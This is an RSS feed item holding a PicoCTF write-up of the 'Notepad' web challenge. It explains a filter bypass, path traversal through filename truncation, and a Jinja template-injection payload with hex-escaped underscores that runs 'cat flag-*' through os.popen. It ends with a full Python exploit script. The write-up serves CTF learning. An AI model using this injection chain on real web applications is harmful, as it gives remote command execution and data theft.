<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by sh1n0b1Xby73 on Medium]]></title>
        <description><![CDATA[Stories by sh1n0b1Xby73 on Medium]]></description>
        <link>https://medium.com/@afshkjsgshduyehd?source=rss-177f3c89a1f6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*y1uTceh5OPaEnx8NU0uTYQ.jpeg</url>
            <title>Stories by sh1n0b1Xby73 on Medium</title>
            <link>https://medium.com/@afshkjsgshduyehd?source=rss-177f3c89a1f6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 18:06:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@afshkjsgshduyehd/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PicoCTF Writeup]]></title>
            <link>https://medium.com/@afshkjsgshduyehd/picoctf-writeup-01cb78ad4cf6?source=rss-177f3c89a1f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/01cb78ad4cf6</guid>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[picoctf-writeup]]></category>
            <dc:creator><![CDATA[sh1n0b1Xby73]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 08:44:17 GMT</pubDate>
            <atom:updated>2026-07-14T08:44:17.338Z</atom:updated>
            <content:encoded><![CDATA[<h3>Challenge name — Notepad</h3><h3>Level — hard</h3><h3>category — Web exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*myWOIChM0nwalgNYRiTg0g.png" /></figure><p>The challenge gives the source code , so let’s start from reviewing the source codes.</p><p>There is two block block filters , at /new (note creation) , block when input contains <strong>“_”</strong> and <strong>“/”</strong> and redirect to the <strong>?error=bad_content</strong></p><p>but the developer seems forgot that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*ehMITib_QUg0Cv9fLCDOhw.png" /></figure><p><strong>url_fix</strong> funtion can make the url to default url fix that mean we can bypass the <strong>“/”</strong> with \ . url_fix function will automatic change the \ to /. This can be used in <strong>path traversal</strong> later. And there is another interesting point</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*G4eYNd43EnHkrqO-7KzVCg.png" /></figure><p>whatever we type the filename, the file name will add with a token and in the end add the .html. But the vuln here is that the file name of only128 bytes will use as a name of file and after that whatever you type will be input in the .html file.</p><p>And there is template injectable vuln at <strong>/templates/errors/index.html</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*7KD7Sx7fc-r_KXHQ42XBng.png" /></figure><p>In this , error parameter can control which file is included from</p><pre>?error=bad_content</pre><p>can change into</p><pre>/templates/errors/payload.html</pre><p>when i test with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*U516t5_HSrIAiy_Gw89SlQ.png" /></figure><p>just render name, but when i try at <strong>?error=file_name</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*ahq-1r59vR2ZN_8QkHWX7Q.png" /></figure><p>It works , but as i mentioned before,</p><ol><li>The first 128 bytes of the file name will be used as the name of the file and after that will be put in the file</li><li>_ and / are filter</li><li>the vuln is at /templates/errors/ but the note taking function is at /static and the source code file structure is</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*lgAiYN5TjCR7umRdKORb5Q.png" /></figure><p>so we need to do path traverse with <strong>/static/../templates/errors</strong></p><p>So we have to prepare our payload with</p><pre>python3 - &lt;&lt;&#39;PY&#39;<br>prefix = &quot;..\\templates\\errors\\&quot;.ljust(128, &quot;a&quot;)<br>​<br>ssti = r&#39;&#39;&#39;{{request[&quot;application&quot;][&quot;\x5f\x5fglobals\x5f\x5f&quot;][&quot;\x5f\x5fbuiltins\x5f\x5f&quot;][&quot;\x5f\x5fimport\x5f\x5f&quot;](&quot;os&quot;)[&quot;popen&quot;](&quot;cat flag-*&quot;)[&quot;read&quot;]()}}&#39;&#39;&#39;<br>​<br>payload = prefix + ssti<br>​<br>print(payload)<br>print(&quot;Length:&quot;, len(payload))<br>print(&quot;Contains underscore:&quot;, &quot;_&quot; in payload)<br>print(&quot;Contains slash:&quot;, &quot;/&quot; in payload)<br>PY</pre><p>output</p><pre>..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{request[&quot;application&quot;][&quot;\x5f\x5fglobals\x5f\x5f&quot;][&quot;\x5f\x5fbuiltins\x5f\x5f&quot;][&quot;\x5f\x5fimport\x5f\x5f&quot;](&quot;os&quot;)[&quot;popen&quot;](&quot;cat flag-*&quot;)[&quot;read&quot;]()}}</pre><p>put it in the note creating</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oLP4wxuUg4touOfjVlA3Cg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*Ws713N2ylVCIisHT2_m5Jw.png" /></figure><p>path traversal works well</p><p>So we got the file name and put this in <strong>?error=file_name</strong></p><p>copy the file name without html and put there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mqz64Zy187CQE_hAO3u0rQ.png" /></figure><p>Done.</p><p>Here is the exploit script</p><pre>#!/usr/bin/env python3<br>​<br>import re<br>import sys<br>from pathlib import PurePosixPath<br>from urllib.parse import urlparse<br>​<br>import requests<br>​<br>​<br>def exploit(base_url: str) -&gt; None:<br>    base_url = base_url.rstrip(&quot;/&quot;)<br>​<br>    # url_fix() converts these backslashes to forward slashes.<br>    traversal = &quot;..\\templates\\errors\\&quot;<br>​<br>    # Exactly 128 characters determine the filename.<br>    filename_part = traversal.ljust(128, &quot;a&quot;)<br>​<br>    # Raw string is important: keep \x5f as literal characters.<br>    #<br>    # This evaluates to:<br>    # request[&quot;application&quot;][&quot;__globals__&quot;][&quot;__builtins__&quot;]<br>    #        [&quot;__import__&quot;](&quot;os&quot;).popen(&quot;cat flag-*&quot;).read()<br>    ssti = r&#39;&#39;&#39;{{request[&quot;application&quot;][&quot;\x5f\x5fglobals\x5f\x5f&quot;][&quot;\x5f\x5fbuiltins\x5f\x5f&quot;][&quot;\x5f\x5fimport\x5f\x5f&quot;](&quot;os&quot;)[&quot;popen&quot;](&quot;cat flag-*&quot;)[&quot;read&quot;]()}}&#39;&#39;&#39;<br>​<br>    content = filename_part + ssti<br>​<br>    # Confirm that the server-side filters will accept it.<br>    assert &quot;_&quot; not in content<br>    assert &quot;/&quot; not in content<br>    assert len(content) &lt;= 512<br>​<br>    print(f&quot;[+] Payload length: {len(content)}&quot;)<br>​<br>    # Do not follow the redirect because it normally leads to a 404.<br>    response = requests.post(<br>        f&quot;{base_url}/new&quot;,<br>        data={&quot;content&quot;: content},<br>        allow_redirects=False,<br>        timeout=15,<br>    )<br>​<br>    if response.status_code not in (301, 302, 303, 307, 308):<br>        raise RuntimeError(<br>            f&quot;Unexpected response: {response.status_code}\n{response.text}&quot;<br>        )<br>​<br>    location = response.headers.get(&quot;Location&quot;)<br>    if not location:<br>        raise RuntimeError(&quot;The response did not contain a Location header&quot;)<br>​<br>    print(f&quot;[+] Redirect location: {location}&quot;)<br>​<br>    # Example Location:<br>    # static/../templates/errors/aaaa...-RandomToken.html<br>    template_name = PurePosixPath(urlparse(location).path).stem<br>​<br>    print(f&quot;[+] Created template: {template_name}.html&quot;)<br>​<br>    # Cause index.html to include and execute our template.<br>    result = requests.get(<br>        f&quot;{base_url}/&quot;,<br>        params={&quot;error&quot;: template_name},<br>        timeout=15,<br>    )<br>​<br>    print(&quot;[+] Template response:&quot;)<br>    print(result.text)<br>​<br>    flag = re.search(r&quot;[A-Za-z0-9]+CTF\{[^}\r\n]+\}&quot;, result.text)<br>​<br>    if flag:<br>        print(f&quot;\n[+] Flag: {flag.group(0)}&quot;)<br>    else:<br>        print(&quot;\n[-] No flag pattern found; inspect the response above.&quot;)<br>​<br>​<br>if __name__ == &quot;__main__&quot;:<br>    if len(sys.argv) != 2:<br>        print(f&quot;Usage: {sys.argv[0]} http://challenge-host:port&quot;)<br>        raise SystemExit(1)<br>​<br>    exploit(sys.argv[1])</pre><p>python solve.py <a href="http://challenge:port/">http://challenge:port</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XRC58fNAONmakQzWy6VpHQ.png" /></figure><p>Happy Hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01cb78ad4cf6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>